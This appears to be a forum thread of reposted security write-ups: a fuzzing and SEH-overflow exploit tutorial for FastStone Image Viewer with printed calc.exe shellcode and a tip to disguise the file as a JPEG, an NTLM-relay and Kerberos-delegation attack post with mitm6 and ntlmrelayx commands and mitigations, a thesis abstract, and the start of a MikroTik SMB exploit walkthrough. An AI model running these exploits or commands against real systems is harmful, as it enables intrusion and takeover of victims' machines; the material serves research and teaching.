zip folder, select properties, and click “unblock” (Not everyone will have to do this); Extract all files and copy them to C:\peach; Create a folder called samples_cur (C:\peach\samples_cur); Move sample.cur (from fuzz.zip) into C:\Peach\samples_cur\; Move cur.xml (from fuzz.zip) into C:\Peach\; Edit cur.xml and make any necessary changes. I have commented the important lines of cur.xml, as such everything should be self-explanatory. Step 3) Test Peach You can test your Peach Pit has been configured correctly by opening cmd.exe (as an administrator), and running the following commands: C:\Windows\System32> cd c:\peach C:\Peach> peach -1 cur.xml Hopefully you should see FSViewer open our sample.cur file once and then close. Assuming this is successful you may wish to disable your network adaptor for the VM. Some software automatically sends crash reports to the vendor. As vulnerabilities these days have a monetary value and clear legal methods exist to sell them, you may not wish to disclose the vulnerabilities directly to the vendor. 😊 Step 4) Running peach To start fuzzing, Open cmd.exe as an administrator and execute the following commands: C:\Windows\System32> cd c:\peach C:\Peach> peach cur.xml Peach should begin opening mutated files in (relatively) quick succession. There are a number of steps you can take to speed up fuzzing with peach. I usually set the desktop to a blank background, reduce visual effects for the machine (Right click “My Computer" > Properties > Advance System Settings > Select the "Advanced" tab > Performance Settings > Adjust for best performance), and kill explorer.exe. If you wish to start explorer again you can ctrl+alt+del and start ‘explorer’ as a new task). Unfortunately the biggest bottleneck with this rig is probably the Peach Framework itself. By design Peach opens the target application, mutates a file, loads the mutated, waits to see if it crashes, and then closes the target application. Obviously, a lot of CPU cycles are wasted opening and closing the application, instead of opening multiple mutated files into the existing process. You’re also probably wondering why I chose to fuzz the cursor (.cur) file type as surely no one would trust such a random file extension? Firstly, I made the assumption that if people have targeted this software before, it was probably JPEG/BMP/GIF/other common image types, so rare image formats may be more fruitful for bugs, additionally most applications don’t use the file extension to identify file types, they use magic numbers, and fortunately for us FastStone image viewer is no different. We can rename our file to a more trustworthy extension such as .jpg and FastStone will still execute the file as a cursor and our exploit will be triggered all the same. Reviewing our Crash After a few hours of fuzzing you will probably have quite a few unique crashes. By default peach uses a windbg extension called !exploitable to triage vulnerabilities into unique crashes (You can find this at C:\Peach\Debuggers\DebugEngine\MSEC). !Exploitable marks crashes as ‘exploitable’, ‘probably exploitable’, ‘unknown’, and ‘probably not exploitable’. Whilst these are useful for separating different unique crashes. The ratings should be completely ignored. !exploitable only looks at the first crash and the events leading up to it, it does not look at what happens after the exception or even later exceptions. For example, the first exception may be a read access violation and !exploitable will mark this as ‘probably not exploitable’ or ‘unknown’, however skipping this exception manually may result in a later exception where the instruction pointer (EIP) is overwritten with user controllable data (Clearly exploitable). After reviewing the descriptions for each crash I came across the following that !exploitable has rated ‘UNKNOWN’. A sample of this crash (crash.cur) may be found in fuzz.zip: First chance exceptions are reported before any exception handling. eax=1101ffff ebx=0048189c ecx=75dc9e17 edx=000005f0 esi=0048189c edi=05e2afb4 eip=005ac745 esp=0012f4e0 ebp=0012f988 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213 image00400000+0x1ac745: 005ac745 8b00 mov eax,dword ptr [eax] ds:0023:1101ffff=???????? As you can see it’s a read access violation (It’s trying to read from the address 1101ffff, into EAX ). Assuming we have some sort of control over the 1101ffff value, we may be able to get our own address moved into EAX. We then have to follow the execution of the application to see if this is later used for something potentially exploitable. If this were a more worthy target or I didn’t have numerous other crashes to review, I may be willing to look more into this crash, but for FastStone Image Viewer™ I am not. As mentioned before, !exploitable only looks at the first exception and the events leading up to it. So let’s load this into a debugger and open our crash file. We can skip this first exception and see if anything more interesting occurs later on. FSViewer comes with a file browser to select images, if you have more than one crash file in a directory it may automatically crash on one of them when opening the directory, to avoid this I opted to use the command line to select specific files: C:\Program Files\Debugging Tools for Windows (x86)>windbg “C:\Program Files\FastStone Image Viewer\FSViewer.exe” “C:\Documents and Settings\Daniel\Desktop\crash.cur” Once windbg has loaded, type ‘g’ and press enter to run the application (alternatively hit F5). It should first break at the read access violation mentioned above. We wish to skip this so type ‘g’ (or f5) again to continue running. 005ac745 8b00 mov eax,dword ptr [eax] ds:0023:1101ffff=???????? 0:000> g First chance exceptions are reported before any exception handling. eax=00000000 ebx=00000000 ecx=1111110f edx=776d6d1d esi=00000000 edi=00000000 eip=1111110f esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 1111110f ?? ??? As we can see the value for the EIP register has been overwritten by 1111110f. The EIP register contains the address of the next instruction to be executed. This means a mutation our fuzzer made to sample.cur has resulted in EIP pointing somewhere it should not. Perhaps we have some sort of control of this EIP value? This is definitely more interesting than the original crash. Let’s diff our two files (sample.cur and crash.cur) in 010 hex editor to see what changes the fuzzer actually made. Mincrash Peach has made a single change to the line beginning at 0x30. Whilst 010 editor doesn’t have a template for the .cur file format, it does have a template for the .ico format which is very similar (Simply change the the start of the file from 00 00 02 to 00 00 01). Using this we can revert the changes made by peach back to the values of sample.cur. The purpose of this is to find the minimum number of changes that still results in the same crash. We can see that our changes all occur within the BITMAPINFOHEADER structure. Which starts at 0x26 and ends at 0x4D. Looking closer at the file format we can see that the changes Peach made first affects biHeight: From our file diff above, we can see that the two bytes at 0x30 in sample.cur were 00 00. So let’s revert this change and test the crash again in windbg: eax=00000000 ebx=00000000 ecx=1111110f edx=776d6d1d esi=00000000 edi=00000000 eip=1111110f esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 1111110f ?? ??? Still the same crash. This process was repeated until it was found that we could then revert all of the changes except those to biBitCount to hit the same exception. Let’s call this file mincrash.cur: Controlling EIP Interestingly, the value overwriting EIP (1111110f) can be found in mincrash.cur seven times (due to endianness this will be backwards, e.g. 12345678 becomes 78563412). Let’s try overwriting them with easy to identify values such as 41414141 (hex for AAAA), 42424242 (BBBB) etc, save this file under another name EIP.cur and once again, open it in the debugger (always try and keep backups of your files at each step, it solves you attempting to revert changes later on when everything stops working!). After skipping the first exception you should see the following: eax=00000000 ebx=00000000 ecx=45454545 edx=776d6d1d esi=00000000 edi=00000000 eip=45454545 esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 45454545 ?? ??? It looks like we have been very fortunate and have complete control of the EIP register… Excellent! Revert the other changes back to their original 0f111111 values (try and keep changes to the file minimal). Using the !exchain command we can see the current exception handler chain: 45454545 ?? ??? 0:000> !exchain 0012efac: ntdll!ExecuteHandler2+3a (776d6d1d) 0012f9a0: 45454545 Invalid exception stack at 0000f011 It looks like we are overwriting the pointer to the SE handler. If you’re not familiar with SEH based exploits, now would be a great time to read the FuzzySecurity or Corelan Exploit Writing tutorials. General practice for SEH based exploits is to overwrite nSEH with a jump to our shell code and overwrite SEH with a reference to a POP POP RET. So let’s try that. POP POP RET First of all, we must find a POP POP RET instruction sequence in either the application itself or a loaded dll. A loaded .dll file is generally preferred as they sit at a high memory address which do not contain null bytes (Depending on the root cause of the vulnerability, null bytes may break your exploit). Fortunately for us this vulnerability doesn’t seem to be affected by null bytes. Using Process Explorer we can see that the FSViewer executable does not make use of ASLR or DEP. So let’s just use a POP POP RET from FSViewer.exe. To find the POP POP RET sequence we can use mona.py. 0:007> .load pykd.pyd 0:007> !py mona seh — — snip — - [+] Results : 0x004071e7 | 0x004071e7 : pop ecx # pop ebp # ret 0x04 So let’s overwrite our EIP with E7714000 (little endian), and save our changes to exploit.cur. From here on I will be using Immunity Debugger as I believe it is much easier to follow the exploit process visually. Writing our Exploit First let’s open the FSViewer binary in Immunity Debugger with an argument of our exploit.cur file click the goto address button (subtly shown below), type the address of our POP POP RET (004071e7), and press okay. Set a break point on POP ECX (Highlight the instruction and press F2. Alternatively, you can right click > Breakpoint > Toggle). Now we have our break point set, we can run the program within Immunity Debugger. Due to the address we have chosen we will hit our breakpoint multiple times as FSViewer loads. Keep pressing F9 until we hit our exception ( "Access violation when reading [1101ffff"at the bottom of ImmDbg). To skip the exception press Shift+F9. We should now be back at our breakpoint and see our POP POP RET. Use f8 to step one instruction at a time whilst keeping an eye on the stack (bottom right). Each pop instruction will remove an address from the stack and save it into ECX and EBP respectively. Once we step over (F8) the return instruction we will return to 0x0012F9A0 (shown). That ASM doesn’t look good at all… However, notice the opcodes: 11F0 0000 E771 40 0010 Look familiar? As mentioned earlier “General practice for SEH based exploits is to overwrite nSEH with a jump to our shellcode and overwrite SEH with a reference to a POP POP RET.” So, we’ve overwritten SEH with a reference to POP POP RET which lands us at nSEH (or 0x4FE in exploit.cur). Which means we have 4 bytes spare to jump to our shellcode. Fortunately for us, image formats are very forgiving, so we can put our shell code pretty much wherever we want provided it’s not in the header and doesn’t overwrite our POP POP RET address. I opted to use a small jump to jump over our SEH address at 0x502 , and land on the other side where we have plenty of room for our shellcode. I used a small jump of 0x26 bytes (the opcode for this is EB 25). So, let’s replace the bytes at 0x4FE with our jump opcode and save our file as exploitJmp.cur: Now let’s go back to ImmDbg and see this in action (Don’t forget to change the argument name to exploitJmp.cur!). Hopefully the breakpoint should still be set, if not go to 0x004071e7 and set it again. As before repeatedly hit F9 until we get to our Access Violation. Press Shift+F9 to get to our breakpoint, and step three times (f8). Instead of ADC EAX, ESI we now see JMP SHORT 0012F9C8 (opcode EB 26). Pressing F8 again you will jump 26 bytes to 0012F9C8. We now have plenty of room for our shellcode. I’ll be using a simple calc.exe shellcode comandeered from FuzzySecurity’s “Writing W32 Shellcode” tutorial. I’ll also add a few NOPs at the beginning for reliability. "\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1" "\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1" "\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3" "\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6" "\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc" "\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f" "\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c" "\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12" "\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40" "\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f" "\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78" "\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5" "\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92" "\xb8\x7f" After making the changes and saving our file as exploitFinal.cur our file should look like this (Tip: use Ctrl+Shift+V in 010 editor to paste as hex): Let’s test each step one last time in ImmDbg to make sure we understand what’s going on. Skipping the access violation (Shift+F9) we land at our breakpoint. Stepping three times (F8) we land at our short jump. Stepping again we (hopefully) land in the middle of our NOPsled. After our nopsled we can see the start of our shellcode. So far so good. Hit F9 to continue execution and you should hopefully see calc.exe spawn as it did in my tl;dr video above. As previously mentioned FastStone Image viewer doesn’t rely on file extensions to identify file types, as a final step let’s rename exploitFinal.cur to a more trustworthy file type such as kitten.jpg. Who would suspect a jpeg (or a kitten)? Root Cause Analysis At this point you may be realising that we have managed to create a full working exploit without actually knowing anything about the underlying vulnerability (apart from it having something to do with biBitCount). In normal circumstances this lazy approach to exploit development will not work. Rarely will the EIP value be read directly from your file without some sort of modification. And on the off chance it is, overwriting values in memory (41414141, 42424242, 43434343. etc.) will either cause a different exception or force it down a separate code path that doesn’t hit our original exception. So if you only came here to see calc get popped, now is a great time to stop reading! ReadFile After a while of searching I found a call to ReadFile() at 0x0040B9F8 that appears to be reading our cursor file. ReadFile() perform 4 reads from our file before the exception occurs. The sizes of which are 0x6, 0x10, 0x28, and then 0x800 bytes. After looking at the CUR/ICO file format the first three reads make perfect sense: ICONDIR Structure (0x6 bytes) ICONDIRENTRY Structure (0x10 bytes) BITMAPINFOHEADER Structure (0x28 bytes) As we know from our original file diffing , the only change is to the biBitCount within BITMAPINFOHEADER, where we changed the value from 0x0001 to 0x3089. So let’s skip to the 0x28 byte read and see what happens to our value. PUSH EAX ; |pBytesRead = 0012F6F8 PUSH EDI ; |BytesToRead = 28 (40.) PUSH ESI ; |Buffer = 0012FB20 PUSH EBX ; |hFile = 0000025C (window) CALL <ReadFile> After the call to ReadFile() we can clearly see our value has been read into the buffer at 0012FB20: Stepping through the code we see that at 005AC6C4, the biBitCount value from our fuzzer( 0x3089) is read into EAX and saved at EBP-34: At 005AC6FD our value of 0x3089 is then read into ECX. 1 is moved into EAX, and then something interesting happens. A logical shift occurs on EAX to the left by CL bits. As we can directly control CL (currently with a value of 0x89), this results in shl 1, 89. This results in a very large value (0x20000000000000000000000). This number is significantly larger than the maximum positive value that can be stored in a 32-bit signed integer. This obviously cannot be saved into EAX, so what does happen? Stepping over this instruction we see EAX now has a value of 0x200 which is then stored at ebp-40. Consulting the x86 guide, it can be found that: “shifts counts of greater than 31 are performed modulo 32” At 005AC72E our value of 0x200 is moved into ECX, before another shift left is performed on it, this time with a shift of 2 bits. So ECX now holds our new value of 0x800. Stepping into the call at 005AC73F (by pressing F7) and stepping once (F8), you will arrive at a call to 0040B9E4 step into this call too. We can now see the call to ReadFile(). Looking at the parameters we can see that ReadFile() will be reading 0x800 bytes into a buffer at 0012F720. This means we can directly control the number of bytes being read into the buffer. The process looks like this: 1. ReadFile() reads 0x28 bytes, including our controlled value of 0x3089 , and places it onto the stack; 2. Our value is then used to perform a logical shift (SHL 1, 89) resulting in a controlled value of 0x200 being saved onto the stack; 3. Another SHL is performed (SHL 200, 2) Resulting in a value of 0x800; 4. This value (0x800) is then passed to ReadFile() asthe “BytesToRead” parameter; 5. 0x800 bytes are read into the buffer at 0012F720. If you think back to the start of this post you will also remember that the cause of the crash was due to Peach modifying biHeight from 0x0001 to 0x3089. For our non-mutated sample.cur the process would be the following: 1. ReadFile() reads 0x28 bytes, including the 0x0001 biHeight value; 2. SHL 1, 01 resulting in a value of 0x02; 3. Another SHL is performed (SHL 02, 2) Resulting in a value of 0x08; 4. 0x08 is then passed to ReadFile() as the “BytesToRead” parameter; 5. 0x08 bytes are read into the buffer at 0012F720. As no bound checking appears to be going on, the buffer is likely expecting 0x08 bytes, but instead receives 0x800. So finally, let’s look at the SEH Chain before and after the call to ReadFile(). Before: After: Conclusion I like to think this post sits somewhere between the basic “Send AAAAA until EIP=414141” tutorials and the more hardcore memory corruption write ups. Obviously it’s still a basic overflow issue, but it does cover a number of things that authors often skip e.g. how the original issue was found, and the root cause of the vulnerability. I’m purely a hobbyist when it comes to memory corruption issues so I suspect there’s a number of technical errors within this post, if you do spot any issues then please contact me and i’ll try and fix them. I hope you enjoyed my MSPaint artwork! Refrences If you enjoyed this post and want to read more similar write-ups then please check out the following links: https://www.fuzzysecurity.com/tutorials.html https://www.corelan.be/index.php/articles/ (Exploit Writing Tutorials) https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/ https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/ http://www.flinkd.org/fuzzing-with-peach-part-1/ Timeline 2016: Issue discovered and reported to vendor 2017: *Crickets* 2018: *Crickets* March 2019: This blog post detailing vulnerability published Daniel C Sursa: https://medium.com/@DanielC7/introduction-to-file-format-fuzzing-exploitation-922143ab2ab3
  10. The worst of both worlds: Combining NTLM Relaying and Kerberos delegation 5 minute read After my in-depth post last month about unconstrained delegation, this post will discuss a different type of Kerberos delegation: resource-based constrained delegation. The content in this post is based on Elad Shamir’s Kerberos research and combined with my own NTLM research to present an attack that can get code execution as SYSTEM on any Windows computer in Active Directory without any credentials, if you are in the same network segment. This is another example of insecure Active Directory default abuse, and not any kind of new exploit. Attack TL;DR If an attacker is on the local network, either physically (via a drop device) or via an infected workstation, it is possible to perform a DNS takeover using mitm6, provided IPv6 is not already in use in the network. When this attack is performed, it is also possible to make computer accounts and users authenticate to us over HTTP by spoofing the WPAD location and requesting authentication to use our rogue proxy. This attack is described in detail in my blog post on this subject from last year. We can relay this NTLM authentication to LDAP (unless mitigations are applied) with ntlmrelayx and authenticate as the victim computer account. Computer accounts can modify some of their own properties via LDAP, which includes the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This attribute controls which users can authenticate to the computer as almost any account in AD via impersonation using Kerberos. This concept is called Resource-Based constrained delegation, and is described in detail by Elad Shamir and harmj0y. Because of this, when we relay the computer account, we can modify the account in Active Directory and give ourselves permission to impersonate users on that computer. We can then connect to the computer with a high-privilege user and execute code, dump hashes, etc. The beauty of this attack is that it works by default and does not require any AD credentials to perform. No credentials, no problem If you’ve already read the blog of Elad, you may have noticed that control over a computer account (or any other account with a Service Principal Name) is required to perform the S4U2Proxy attack. By default, any user in Active Directory can create up to 10 computer accounts. Interesting enough, this is not limited to user accounts, but can be done by existing computer accounts as well! If we can get any user or computer to connect to our NTLM relay, we can create a computer account with ntlmrelayx: It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection. These computer account credentials can be used for all kinds of things in AD, such as querying domain information or even running BloodHound: Relaying and configuring delegation Let’s run the full attack. First we start mitm6 to take over the DNS on our target, in this case ICORP-W10 (a fully patched default Windows 10 installation), I’m limiting the attack to just this host here: sudo mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd Now it might take a while before the host requests an IPv6 address via DHCPv6, or starts requesting a WPAD configuration. Your best chances are when the victim reboots or re-plugs their network cable, so if you’re on a long term assignment, early mornings are probably the best time to perform this attack. In either case you’ll have to be patient (or just attack more hosts, but that’s also less quiet). In the meantime, we also start ntlmrelayx using the --delegate-access argument to enable the delegation attack and with the -wh attacker-wpad argument to enable WPAD spoofing and authentication requests: ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access After a while mitm6 should show our victim connecting to us as DNS server for the WPAD host we set: And we see ntlmrelayx receiving the connection, creating a new computer account and granting it delegation rights to the victim computer: Next we can use getST.py from impacket, which will do all the S4U2Self an S4U2Proxy magic for us. You will need the latest version of impacket from git to include resource based delegation support. In this example we will be impersonating the user admin, which is a member of the Domain Admins group and thus has administrative access on ICORP-W10: We obtained a Kerberos Service Ticket now for the user admin, which is valid for cifs/icorp-w10.internal.corp. This only lets us impersonate this user to this specific host, not to other hosts in the network. With this ticket we can do whatever we want on the target host, for example dumping hashes with secretsdump: The attacker now has full control over the victim workstation. Other abuse avenues This blog highlights the use of mitm6 and WPAD to perform the relay attack entirely without credentials. Any connection over HTTP to a host that is considered part of the Intranet Zone by Windows can be used in an identical matter (provided automatic intranet detection is enabled). Elad’s original blog described using WebDAV to exploit this on hosts. Another attack avenue is (again) PrivExchange, which makes Exchange authenticate as SYSTEM unless the latest patches are installed. Tools The updated version of ntlmrelayx is available in a branch on my fork of impacket. I’ll update the post once this branch gets merged into the main repository. Mitigations As this attack consists of several components, there are several mitigations that apply to it. Mitigating mitm6 mitm6 abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments. If you don’t use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working: (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In) (Inbound) Core Networking - Router Advertisement (ICMPv6-In) (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out) Mitigating WPAD abuse If WPAD is not in use internally, disable it via Group Policy and by disabling the WinHttpAutoProxySvc service. Further mitigation and detection measures are discussed in the original mitm6 blog. Mitigating relaying to LDAP Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding. Mitigating resource based delegation abuse This is hard to mitigate as it is a legitimate Kerberos concept. The attack surface can be reduced by adding Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation. Further mitigations and detection methods are available here. Credits @Elad_Shamir and @3xocyte for the original research and relay POC @agsolino for building and maintaining impacket and implementing all the cool Kerberos stuff @gentilkiwi for Kekeo and @harmj0y for Rubeus and their Kerberos research Updated: March 04, 2019 Dirk-jan Mollema Hacker, red teamer, researcher. Likes to write infosec-focussed Python tools. This is my personal blog mostly containing research on topics I find interesting, such as Windows, Active Directory and cloud stuff. Sursa: https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
  11. Daniel Gruss Software-based Microarchitectural Attacks PhD Thesis Assessors: Stefan Mangard, Thorsten Holz June 2017 Modern processors are highly optimized systems where every single cycle ofcomputation time matters. Many optimizations depend on the data that isbeing processed. Software-based microarchitectural attacks exploit effectsof these optimizations. Microarchitectural side-channel attacks leak secretsfrom cryptographic computations, from general purpose computations, orfrom the kernel. This leakage even persists across all common isolationboundaries, such as processes, containers, and virtual machines.Microarchitectural fault attacks exploit the physical imperfections ofmodern computer systems. Shrinking process technology introduces effectsbetween isolated hardware elements that can be exploited by attackers totake control of the entire system. These attacks are especially interestingin scenarios where the attacker is unprivileged or even sandboxed.In this thesis, we focus on microarchitectural attacks and defenses oncommodity systems. We investigate known and new side channels andshow that microarchitectural attacks can be fully automated. Further-more, we show that these attacks can be mounted in highly restrictedenvironments such as sandboxed JavaScript code in websites. We showthat microarchitectural attacks exist on any modern computer system,including mobile devices (e.g., smartphones), personal computers, andcommercial cloud systems.This thesis consists of two parts. In the first part, we provide backgroundon modern processor architectures and discuss state-of-the-art attacksand defenses in the area of microarchitectural side-channel attacks andmicroarchitectural fault attacks. In the second part, a selection of ourpapers are provided without modification from their original publications.1I have co-authored these papers, which have subsequently been anony-mously peer-reviewed, accepted, and presented at renowned internationalconferences Download: https://gruss.cc/files/phd_thesis.pdf
      • 2
      • Upvote
  12. Finding and exploiting CVE-2018–7445 (unauthenticated RCE in MikroTik’s RouterOS SMB) maxi Mar 5 Summary for the anxious reader CVE-2018–7445 is a stack buffer overflow in the SMB service binary present in all RouterOS versions and architectures prior to 6.41.3/6.42rc27. It was found using dumb-fuzzing assisted with the Mutiny Fuzzer tool from Cisco Talos and reported/fixed about a year ago. The vulnerable binary was not compiled with stack canaries. The exploit does ROP to mark the heap as executable and jumps to a fixed location in the heap. The heap base was not randomized. Dumb fuzzing still found bugs in interesting targets in 2018 (although I’m sure there must be none left for 2019!) The post describes the full process from target selection to identifying a vulnerability and then producing a working exploit. Introduction The last few years have seen a surge in the number of public vulnerabilities found and reported in MikroTik RouterOS devices. From a remote buffer overflow affecting the built-in web server included in the CIA Vault 7 leak to a plethora of other vulnerabilities reported by Kirils Solovjovs from Possible Security and Jacob Baines from Tenable that result in full remote compromise. MikroTik was recently added to the list of eligible router brands in the exploit acquisition program maintained by Zerodium, including a one-month offer to buy pre-auth RCEs for $100,000. This might reflect an increasing interest in MikroTik products and their security posture. This blog post is an attempt to make a small contribution to the ongoing MikroTik RouterOS vulnerability research. I will outline the steps we took with my colleague Juan (thanks Juan!) during our time together at Core Security to find and exploit CVE-2018–7445, a remote buffer overflow in MikroTik’s RouterOS SMB service that could be triggered from the perspective of an unauthenticated attacker. The vulnerability is easy to find and exploitation is straight-forward, so the idea is to provide a detailed walk-through that will (hopefully!) be useful for other beginners interested in memory corruption. I will try to cover the full process from “hey! let’s look at this MikroTik thing” to actually finding a vulnerability in a network service and writing an exploit for it. The original advisory can be found here. Mandatory disclaimer: I am no longer affiliated with Core Security, so the content of this post does not reflect its views or represents the company in any way. Setup The vulnerability is present in all architectures and devices running RouterOS prior to 6.41.3/6.42rc27, so the first step is getting a vulnerable system running. MikroTik makes this very easy by maintaining an archive of all previously released versions. It is also possible to download the Cloud Hosted Router version of RouterOS, which is available as a virtual machine that boasts full RouterOS features. This allows running RouterOS in x86–64 architectures using popular hypervisors without needing an actual hardware device. Let’s get the 6.40.5 version of the Cloud Hosted Router from here and create the virtual machine on VirtualBox. Default administrator credentials consist of admin as the username and an empty password. RouterOS administrative console The RouterOS console is a restricted environment and does not allow the user to execute any command outside of a pre-defined set of configuration options. In order to replicate the vulnerability discovery, the SMB service needs to be enabled. This can be achieved with the ip smb set enabled=yes command. Enabling SMB and checking the IP address of the device Note that the fact that the service is not enabled by default makes the likelihood of active exploitation much smaller. In addition, you should probably not be exposing your SMB service to public networks, but well, there’s always those pesky users in the internal network that might have access to this service. The restricted console is not suitable to perform proper debugging, so before looking for vulnerabilities it is useful to have full shell access. Kirils Solovjovs has published extensive research on jailbreaking RouterOS, including the release of a tool that can be used to jailbreak 6.40.5. It would not make sense to repeat the underlying details here, so head to Kirils’ research hub or the more recent Jacob Baines’ post for newer versions where the entry point used for 6.40.5 has been patched. Jailbreaking RouterOS 6.40.5 is as easy as cloning the https://github.com/0ki/mikrotik-tools repository and running the interactive exploit-backup/exploit_full.sh exploit pointing to our VM. Jailbreak tool by 0ki targeting 6.40.5 Finally, download a pre-compiled version of GDB from https://github.com/rapid7/embedded-tools/raw/master/binaries/gdbserver/gdbserver.i686 and upload it to the system using FTP. Connecting to the device via Telnet would allow us to attach to running processes and debug them properly. We are now ready to start looking for vulnerabilities in the network services. Target selection There are lots of services running in RouterOS. A quick review shows common services such as HTTP, FTP, SSH, and Telnet, and some other RouterOS-specific services such as the bandwidh test server running on port 2000. Jacob Baines pointed out that over 90 different binaries that implement network services can be reached by speaking the Winbox protocol (see The Real Attack Surface in his excellent blog post). We were not aware of all that reachable functionality when we started poking around with RouterOS and did not invest the time to reverse engineer the binaries that spoke Winbox, so we just went ahead and looked at the few binaries that were explicitly listening on the network. Most (all?) services in RouterOS seem to have been implemented from scratch, so there are thousands of lines of custom low level code waiting to be audited. Our objective was to achieve unauthenticated remote code execution, and on a first look the binaries for common services such as FTP or Telnet did not provide much reachable functionality without providing credentials. This made us turn to other services that might not be enabled by default but require the implementation of a rich feature set. The fact that these services are not enabled by default means they might have been neglected by other attackers wanting to maximize their ROI on vulnerabilities that affect default installations of RouterOS and are therefore much more valuable. By following this rationale and inspecting the available services we decided to take a look at the SMB implementation. Finding the vulnerability We know we want to find vulnerabilities in the SMB service. We have the virtual machine setup, the service running, we have full shell access to the device and we can debug any processes. How do we find a vulnerability? One option would be to disassemble the binary and look for insecure coding patterns. We would identify interesting operations such as strcpy, memcpy, etc. and see if the correct size checks are in place. We would then see if those code paths can be reached with user controlled input. We could combine this with dynamic analysis and use our ability to attach to a running process with GDB to inspect registers at runtime, memory locations, etc. However, this can be time consuming and it is easy to feel frustrated if you do not have experience doing reverse engineering, especially if it is a large binary. Another option is to fuzz the network service. This approach consists of sending data to the remote service and checking if it causes an unexpected behavior or a crash. This data will contain malformed messages, invalid sizes, very long strings, etc. There are different ways to conduct the fuzzing process. The two most popular strategies are generation and mutation-based fuzzing. Generation-based fuzzing requires knowledge of the protocol to build test cases that comply with the format specified by the protocol and will (most likely) result in a more thorough coverage. More coverage means more chances of hitting vulnerable code paths and therefore more bugs. On the other hand, mutation-based fuzzing assumes no prior knowledge of the protocol being fuzzed and takes much less effort at the cost of potentially poor code coverage and additional difficulties in protocols that need to compute checksums to ensure data integrity. We decided to try our luck with a dumb fuzzer and chose the Mutiny Fuzzer tool that had been released a few months earlier by the Cisco Talos team. Mutiny takes a sample of legitimate network traffic and replays it through a mutational fuzzer. In particular, Mutiny uses Radamsa to mutate the traffic. Radamsa mutation example Performing this kind of fuzzing has the benefit of being very quick to get up running and, as we will see, might provide great results if we have a good selection of test cases that stress various features. Putting this together, the steps to fuzz a network service are: Capture legitimate traffic Create a Mutiny fuzzer template from the resulting PCAP file Run Mutiny to mutate the traffic and replay it to the service Observe what happens with the running service Mutiny does provide a monitoring script that can be used to (d’oh!) monitor the service and identify weird behavior. This can be accomplished by implementing the monitorTarget function as described in https://github.com/Cisco-Talos/mutiny-fuzzer/blob/master/mutiny_classes/monitor.py. Sample checks could be pinging the remote service or connecting to it to assess its availability, monitoring the process, logs, or whatever else might signal weird behavior. In this case, the SMB service will take a while to restart after a crash and log a stack trace message, so we decided it was not worth scripting any monitoring actions. Instead, we just captured the traffic throughout the fuzz process with Wireshark and relied on the default behavior of Mutiny, which is to exit when the request fails due to a connection refused error, meaning that the service is down. This is rather rudimentary and leaves a lot of room for improvement, but it was enough for our tests. It is important to enable full logging before we initiate the fuzzing process. This could prove useful to track any crashes that might occur, as the full stack trace will be included in the logs that are located in /rw/logs/backtrace.log. This can be configured from RouterOS’ web interface. Enable all logs to be written to the disk Another thing that proved useful was running the binary in an interactive console to get the debug output in real time. This can be achieved by killing the running process and relaunching it from the full-fledged terminal. Errors and general status of processed requests will be printed. Get debug output as requests are processed Now that we have a high level overview of the steps involved, let’s recap and actually fuzz the SMB service. First we clone https://github.com/Cisco-Talos/mutiny-fuzzer.git and follow the setup instructions. The next step in our plan consists of generating some network traffic. In order to do this, open Wireshark and attempt to access a resource on the router with smbclient. Smbclient will send a Negotiate Protocol request to port 445/TCP and receive a response which we do not care about. This can be observed in the Wireshark capture. We want to use this request as the starting point to produce (hopefully!) meaningful mutations. Stop the Wireshark capture and save the request packet by going to File -> Export Specified Packets with the request packet selected. Output format should be PCAP. Once we have the PCAP containing the request to fuzz, we prepare Mutiny’s .fuzzer file with the 